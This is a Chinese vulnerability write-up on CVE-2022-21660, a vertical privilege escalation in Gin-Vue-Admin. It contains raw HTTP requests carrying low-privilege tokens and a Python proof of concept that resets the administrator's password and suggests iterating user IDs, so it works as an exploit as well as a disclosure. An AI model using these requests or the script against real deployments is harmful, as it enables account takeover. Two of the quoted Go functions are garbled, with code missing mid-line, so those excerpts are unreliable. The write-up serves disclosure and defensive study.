网络安全工程师,Gin-Vue-admin垂直越权漏洞与代码分析-CVE-2022-21660

  • 作者:
  • 时间:2022-01-11 09:34:20
简介 网络安全工程师,Gin-Vue-admin垂直越权漏洞与代码分析-CVE-2022-21660

一、前言

欢迎各位大佬们给该项目点一个star

https://github.com/flipped-aurora/gin-vue-admin/

image-20211230151736779

文章写完了之后,申请CVE有一些麻烦,不过好在还是申请到了,github的员工响应迅速

ps 申请CVE前,已经提交了CNVD

image-20220107161655217

二、环境搭建

按照官方教程

git clone https://github.com/flipped-aurora/gin-vue-admin.git

随后进入server目录

go generate

image-20211230134341075

go build -o server main.go 

随后直接运行server即可

image-20211230134411233

随后是WEB,进入到web目录,输入

cnpm install || npm install

随后等待即可

image-20211230134632959

随后安装完成会自动打开WEB网页

image-20211230135126848

image-20211230135135212

随后初始化设置数据库信息

image-20211230135407388

配置好之后点击初始化后登录即可

image-20211230135437587

三、漏洞复现

SetUserInfo存在垂直越权

1、SetUserInfo接口越权设置用户个人信息

我们直接来到用户管理页面,新增一个低权限的用户角色

image-20211230143853535

可以看到上方并没有给到管理员的权限,接下来新建一个账号,分给这个角色组

image-20211230144026344

image-20211230144005936

漏洞发生的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行

image-20211230141604735

// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON( err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

这里没有对传入的ID进行校验,ID代表用户的,直接传入指定的ID就可以修改对应用户的个人信息

image-20211230141732113

首先我们用管理员的X-token测试修改ID为1的用户的名称修改为test1,随后我们可以在后台中看到管理员的ID已经被修改为test1了

image-20211230144216099

那么接下来,我们使用刚刚新建的UzJu_HxSecTeam账号的Token替换进去,将管理员用户名修改为test2

首先我们UzJu_HxSecTeam的账号个人信息>修改密码 这里随便修改密码,然后获取到账号Token

image-20211230144321622

这个Token是低权限那个角色的,正常低权限的用户是不可以修改管理员的任何信息的

x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0v**DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

我们将Token替换进去,构造如下Json数据

{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

我们将Token替换到setUserinfo接口

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0v**DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
x-user-id: 1
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""}

随后提示我们,设置成功

image-20211230144654682

这是我们切换到管理员账号,查看是否被修改为test2

image-20211230144727266

可以看到管理员用户成功被修改

2、SetUserInfo接口垂直越权无条件修改管理员密码

在Debug的时候发现,在越权设置个人信息的接口setUserInfo中不单单只能设置id, username, nickname,headimg,其实还可以传入password等参数

image-20211230222713086

比如我们构造一个请求,将ID为1的用户名称设置为admin,昵称设置为超级用户管理员

image-20211230222755083

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

此时管理员的密码已经被修改为了qwe@123,尝试登陆

image-20211230222853109

随后成功登录

image-20211230222906607

ChangPassword越权修改用户密码

PS: 这里有一个前提,需知道我想修改的那个人用户的密码才可以

首先我们知道默认的admin密码为123456,这个时候我们只需要构造Json数据,将Json数据中的username参数,修改为我们想越权修改的那个用户名即可

首先我们登录低权限的账号,修改一次密码

image-20211230145433929

我们会抓到一个changePassword的请求,随后将这个请求放入Repeater

image-20211230145506647

随后我们只需要将username这个参数修改为admin即可

image-20211230145615220

随后会提示我们修改成功,然后我们使用新的密码来登录admin

image-20211230145704428

随后成功登录

image-20211230145725332

漏洞出现的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行

// @Tags SysUser
// @Summary 用户修改密码
// @Security ApiKeyAuth
// @Produce  application/json
// @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}"
// @Router /user/changePassword [post]
func (b *BaseApi) ChangePassword(c *gin.Context) {
	var user systemReq.ChangePasswordStruct
	_ = c.ShouldBindJSON( err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	u :=  err != nil {
		global.GVA_LOG.Error("修改失败!", zap.Error(err))
		response.FailWithMessage("修改失败,原密码与当前账户不符", c)
	} else {
		response.OkWithMessage("修改成功", c)
	}
}
这里有一个争议,就是既然都知道了别人的账号密码,直接登录他的账号不就可以了吗,确实是这样的,但是我们这里的程序逻辑流程是,我们已经鉴权完毕了,正常来说我当前用户也只能修改当前用户的一个密码,可是这里可以通过修改ID来修改别人的,换个角度想也是暴力破解了可以,因为登录页面是有验证码校验的。

四、漏洞原理分析

ps: 以下所有内容出自一个完全没学过Go的,也没做过开发的,只会Python的脚本小子的理解

首先从正常的业务逻辑来看这里为什么会造成越权,其实原理比较简单,主要是因为,我们在新建角色权限的时候,有几个必选的参数,也就是这几个参数,选了之后,用户才有机会越权(但是也不能不选,因为这是默认的必选参数),其实最终还是在代码上存在逻辑问题。

image-20211230162340184

首先我们看,在新建完角色之后,查看角色的权限

image-20211230162510272

可以看到,默认新建的用户权限,在角色菜单中,只有一个可以访问仪表盘的权限,但是我们查看角色的API权限就会发现

image-20211230162602998

这里有几个必选的权限

  • 用户注册

  • 设置用户信息

  • 获取自身信息

  • 修改密码

  • 修改用户角色

这也是这一次漏洞的来源,首先是设置用户信息,如果我们取消勾选

image-20211230162752207

然后我们将低权限角色组的账号Token放进Burp进行尝试

image-20211230163029027

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

可以很清楚的看到,目前我们已经没有权限来设置这些用户信息了,而且在Go的Debug页面我们也很容易发现,代码逻辑,比如我们现在是没有权限进行设置用户信息的,但是在代码中理论来说,我访问了这个接口,我Debug的断点应该是可以拦截的,但是如下图,我下断点之后,程序居然没有停止

image-20211230163258163

从这里就能判断,在此操作之前,应该是有一个鉴权操作(常见的应该是rbac吧)那么我们现在给低权限角色组设置用户的权限,我们再进行重放看看

image-20211230163401844

image-20211230163437975

我们可以看到,程序成功停止在了这里,那么我想(go小白)应该可以通过Debug的方式,来找到这里的鉴权:)

首先Mac下command键鼠标左键来找哪里调用了这个函数

image-20211230172215924

然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter

image-20211230172303694

那么继续老办法,Command+鼠标左键来判断哪里调用了InitUserRoute

image-20211230172756447

这里注意,有一个JWTAuth()还有一个middleware.CasbinHandler()

首先我们先来看middleware.JWTAuth(),还是老方法Command+鼠标左键

image-20211230173029571

然后来到一个jwt.go,这里的逻辑我们可以看一下(当然也感谢作者写了一些注释)

image-20211230173337186

go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token,首先就是判断token是不是为空,如果为空的话直接返回用户未登录或非法访问

image-20211230173515740

随后就是判断用户的token是否在黑名单里面,这里应该是通过缓存或者用户退出的时候来判断,这个token是不是已经失效了吧,如果失效了就会返回告诉用户异地登录或令牌失效了

image-20211230173927005

这里首先传给ParseToken这个函数来解析Token,可以跟过去看一下

image-20211230174153376

不懂jwt.ParseWithClaims是啥。。。传统艺能,google.com

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

这里是用来JWT加解密的,然后返回一个SigningKey,然后继续往下走

感谢作者的指点:此处将传入的jwt token串进行解析,获得jwt.Token结构体,然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。

image-20211230180325474

通过Google知道了ValidationErrorMalformed用来判断是否是错误的token,然后再通过ValidationErrorExpired来判断是否已过期,然后再通过ValidationErrorNotValidYet判断token是否激活,然后就是返回了。虽然下面还有一段代码

image-20211230181012200

随后判断token是否过期,如果没有过期,则走到了reload,随后我们来到middleware.CasbinHandler()

image-20211230181206422

首先进入到utils.GetClaims并且传入一个参数

image-20211230181333671

这里函数用来获取x-token随后解析该token来判断是否过期等

image-20211230185043326

随后判断用户的角色,这里的1234,也就是我们web设置的角色组ID

image-20211230185135662

image-20211230185217506

随后进入casbinService.Casbin(),传统艺能,直接百度

image-20211230185413430

跟之前猜想的差不多,rbac权限控制,这里是连接数据库,然后这里F7单步步入看了一下,劝退了,看不懂

image-20211230191210935

看注释可以判断,这里用来判断权限

机翻: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).强制决定“subject”是否可以通过操作“action”访问“object”,输入参数通常是:(sub, obj, act)。

image-20211230191631807

随后判断是否在开发环境,然后success等于false,这里|| 或者的意思,要么成功,要么提示权限不足

我们来看看有权限后,越权的setuserinfo接口是怎么走的,首先我们在拦截器这个地方下一个断点

image-20211230214215348

Tips: 通过百度发现这里用的是golang的casbin访问控制框架https://blog.csdn.net/qq_42015552/article/details/104013264

然后在setuserinfo这里也下一个断点

image-20211230214247389

因为拦截器在程序逻辑中在setuserinfo前面,所以我们从拦截器开始调

burp发送请求之后,一直等待,此时我们单步调试看看

image-20211230214329911

此时我们的角色组为1234

image-20211230214503883

随后是连接数据库,再之后就是检查权限

image-20211230215514485

image-20211230215532447

这里返回了一个true,说明权限存在,随后就是判断是否为开发环境或者success等于true了,这里肯定会经过第一个if,

随后就来到了setuserinfo接口

image-20211230220206889

shouldBindJson 绑定了Json参数

image-20211230220707383

随后这里,应该是用来判断传入的Json参数是否正确

image-20211230221153338

下面直接直接将userid代入了进去

image-20220104134548099

这里的ID是我们前端传入的,可以任意修改,所以就导致了越权

image-20211230221415677

image-20211230221432290

随后代入到数据库之后,更新后返回

image-20211230221556509

随后则是更新成功

主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数,中的casbinService.Casbin()和e.Enforce(sub, obj, act)

我对这里的越权理解是,如果给了设置用户信息的权限,那么默认这个用户在权限规则中就可以修改用户信息,然后在修改的时候,替换成别人的ID即可修改为别人的

到这里可以明白了,首先鉴权判断的是AuthorityId,来判断用户是否有权限操作某个接口

image-20220104131901466

但是在setuserinfo使用的ID却是用户的账号ID

image-20220104132137472

所以就导致了越权,因为这个ID可以前端传入的时候可以控制,并且也已经鉴权之后了,在与作者沟通之后,解释说修复也比较简单,只需要将user.id强制赋值为JWT所对应的权限ID即可,这样就不会造成越权了,因为前端怎么传入,最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id

但是在业务流程逻辑中,这些权限又是必须给的,因为不给的话,当前用户是没有办法修改自己的信息的

image-20220104135624752

五、POC编写

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools 
@File    :Gin-Vue-Admin-Poc.py
@Author  :UzJu
@Date    :2021/12/31 11:20 
@Email   :UzJuer@163.com
'''

import requests
import json
import sys


class GinVueAdminPoc:
    def __init__(self, url, token):
        self.url = url
        self.jwt_token = token
        '''
        define vuln interface
        '''
        # Method PUT Severity High
        self.setUserInfo = "/api/user/setUserInfo"
        # Method POST Severity Moderate
        self.changePassword = "/api/user/changePassword"

    def checkVuln(self):
        '''
        因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
        在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
        The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
        In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
        '''
        payload_data = {
                            "id": 1,
                            "username": "admin",
                            "nickName": "超级管理员",
                            "Password": "qwe@123"
                        }
        # Change the administrator password to qwe@123, because the default administrator ID is 1
        headers = {
            "x-token": self.jwt_token
        }
        result = requests.put(url=self.url + self.setUserInfo,
                              headers=headers,
                              data=json.dumps(payload_data)
                              )
        if json.loads(result.content)['code'] == 7:
            print("[-]Modify the failure")
        elif json.loads(result.content)['code'] == 0:
            print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

    def check_interface_ChangePassword(self):
        '''
        wait
        '''
        pass


if __name__ == '__main__':
    try:
        Banner_2 = '''
    
         /$$   /$$              /$$$$$          
        | $$  | $$             |__  $$          
        | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
        | $$  | $$|____ /$$/      | $$| $$  | $$
        | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
        | $$  | $$  /$$__/  | $$  | $$| $$  | $$
        |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
         \______/ |________/ \______/  \______/                   
             Autor: UzJu   Email: UzJuer@163.com  GitHub: github.com/uzju  
        '''
        print(Banner_2)
        url = sys.argv[1]
        jwt_token = sys.argv[2]
        main = GinVueAdminPoc(url, jwt_token)
        main.checkVuln()
    except:
        print("[-]please input url and token")

为什么check_interface_ChangePassword这个方法没写是因为,这里算是一个暴力破解的一个接口,因为在修改任意用户的密码之前,必须知道需要修改的那个账号的密码,这就像是暴力破解,所以这里并没有写,然后就是checkvuln这个方法,payload_data这个json数据中的id,其实可以任意更改的,也可以写成for循环进行遍历,因为在实际环境中并不确定管理员的ID是否为1,或者说存在恶意破坏的话,也可以造成一定的影响。

image-20211231143107127

六、CVE申请

CNVD的就不用说了吧,肯定也已经提交了,这里申请CVE的。GitHub代申请编号来的特别快,基本上最多3天,这里是当天提交的次日凌晨就收到了CVE的预分配编号以下操作需要联系作者帮你操作,不然没有New Draft security advisory这个按钮

image-20220107164730550

image-20220107165445797

image-20220107165519396

Description写上漏洞的内容,复现过程,POC就行,然后点击create draft security advisory

由于当时我们是第一次申请这个,犯了一个错误,只列出了一个草稿,并没有请求,导致我们白白等了7天

image-20220107165651894

写完了一定要拉到下面,去点击request cve id

image-20220107165714011

image-20220107165744293

参考文章:https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

七、致谢

  • 作者团队主页:https://github.com/flipped-aurora/

  • 作者的GitHub:https://github.com/piexlmax

  • Gin-vue-admin项目地址:https://github.com/flipped-aurora/gin-vue-admin